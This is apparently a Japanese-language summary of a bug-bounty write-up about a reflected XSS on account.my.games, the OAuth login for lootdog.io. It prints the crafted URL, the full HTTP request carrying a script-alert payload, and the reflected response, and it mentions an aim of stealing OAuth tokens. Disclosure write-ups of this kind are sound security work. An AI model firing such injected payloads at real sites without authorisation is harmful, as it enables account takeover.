Hello there, ('ω')ノ
公開プログラムに反映されたXSSを。
脆弱性:
反射されたXSS
記事:
https://thevillagehacker.medium.com/reflected-xss-on-a-public-program-e8c0416daca1
今回は、HackerOneの公開プログラムのいずれかでXSSを見つけることに。
HackerOneのスコープが広いmailruからhttps://lootdog.io/をターゲットに選択して。
Oauthリクエストで意図しない動作を見つけたので。
テクニカル分析:
https://lootdog.io/からのログイン要求をインターセプトしてリピータに送信して。
Oauthの動作を観察して。
https://lootdog.io/は、https://account.my.gamesをOauthサービスとして使用して。
ログインをクリックすると、https://account.my.gamesにリダイレクトされ。
正当なアカウントを持っている場合は、ログインできて。
そこで、Reflected XSSまたはOpenリダイレクトの問題をチェックして。
Oauthトークンを取得してユーザのアカウントを引き継ぐことに。
以下のように、リクエストのキー設定された値の最後に。
追加のパラメータを追加して。
&Set-Cookie: <script>alert(“Hacked By Deathstroke”)</script>
最終的に作成されたURLは次のようになって。
https://account.my.games//oauth2/login/?continue=https%3A%2F%2Faccount.my.games%2Foauth2%2F%3Fredirect_uri%3Dhttps%253A%252F%252Flootdog.io%252Fsocial%252Fcomplete%252Fo2mygames%252F%26client_id%3Dlootdog_io%26response_type%3Dcode%26signup_social%3Dmailru%2Cfb%2Cok%2Cvk%2Cg%2Ctwitch%2Ctw%26signup_method%3Demail%252Cphone%26lang%3DEN&client_id=lootdog_io&lang=EN&signup_method=email%2Cphone&signup_social=mailru%2Cfb%2Cok%2Cvk%2Cg%2Ctwitch%2Ctw&Set-Cookie: <script>alert("Hacked By Deathstroke")</script>
URLの最後にペイロードを挿入した後、以下のようにリクエストを送信し。
レスポンスを観察して。
リクエスト:
GET /oauth2/login/?continue=https%3A%2F%2Faccount.my.games%2Foauth2%2F%3Fredirect_uri%3Dhttps%253A%252F%252Flootdog.io%252Fsocial%252Fcomplete%252Fo2mygames%252F%26client_id%3Dlootdog_io%26response_type%3Dcode%26signup_social%3Dmailru%2Cfb%2Cok%2Cvk%2Cg%2Ctwitch%2Ctw%26signup_method%3Demail%252Cphone%26lang%3DEN&client_id=lootdog_io&lang=EN&signup_method=email%2Cphone&signup_social=mailru%2Cfb%2Cok%2Cvk%2Cg%2Ctwitch%2Ctw&Set-Cookie: <script>alert("Hacked By Deathstroke")</script> HTTP/1.1 Host: account.my.games
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://lootdog.io/
Connection: close
応答:
<script>alert("Hacked By Deathstroke")</script> HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3982
Vary: Origin
ただし、残念ながら、その時点での応答にはアクセストークンは反映されておらず。
この問題が他のセキュリティ上の脅威を引き起こす可能性があるため。
プログラムに報告することに。
コンセプトの証明
HTTP応答に反映されるペイロードが機能したようで。
Best regards, (^^ゞ